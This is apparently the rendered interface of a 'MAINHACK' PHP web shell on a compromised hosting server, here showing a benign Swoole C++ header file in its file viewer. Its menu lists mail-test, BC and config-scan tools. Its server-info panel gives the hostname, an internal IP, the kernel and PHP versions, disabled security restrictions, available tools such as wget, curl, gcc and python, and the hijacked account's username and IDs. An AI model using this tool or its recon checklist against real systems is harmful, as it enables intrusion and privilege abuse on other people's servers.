[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: php_swoole_cxx.h
File is not writable. Editing disabled.
#pragma once #include "php_swoole.h" #include "swoole_coroutine.h" SW_API bool php_swoole_export_socket(zval *object, int fd, enum swSocket_type type); SW_API zend_object* php_swoole_export_socket_ex(int fd, enum swSocket_type type); SW_API void php_swoole_client_set(swoole::Socket *cli, zval *zset); namespace zend { class string { public: string() { str = nullptr; } string(zval *v) { str = zval_get_string(v); } string(zend_string *&v) { str = zend_string_copy(v); } string(zend_string *&&v) { str = v; } void operator =(zval* v) { if (str) { zend_string_release(str); } str = zval_get_string(v); } inline char* val() { return ZSTR_VAL(str); } inline size_t len() { return ZSTR_LEN(str); } zend_string* get() { return str; } std::string to_std_string() { return std::string(val(), len()); } char* dup() { return likely(len() > 0) ? sw_strndup(val(), len()) : nullptr; } char* edup() { return likely(len() > 0) ? estrndup(val(), len()) : nullptr; } ~string() { if (str) { zend_string_release(str); } } private: zend_string *str; }; class string_ptr { public: string_ptr(zend_string *str) : str(str) { } string_ptr(string_ptr &&o) { str = o.str; o.str = nullptr; } ~string_ptr() { if (str) { zend_string_release(str); } } private: zend_string *str; }; namespace array { class key_value { public: zend_ulong index; zend_string *key; zval zvalue; key_value(zend_ulong _index, zend_string *_key, zval *_zvalue) { index = _index; key = _key ? zend_string_copy(_key) : nullptr; ZVAL_DEREF(_zvalue); zvalue = *_zvalue; Z_TRY_ADDREF(zvalue); } inline void add_to(zval *zarray) { HashTable *ht = Z_ARRVAL_P(zarray); zval *dest_elem = !key ? zend_hash_index_update(ht, index, &zvalue) : zend_hash_update(ht, key, &zvalue); Z_TRY_ADDREF_P(dest_elem); } ~key_value() { if (key) { zend_string_release(key); } zval_ptr_dtor(&zvalue); } }; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 783.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A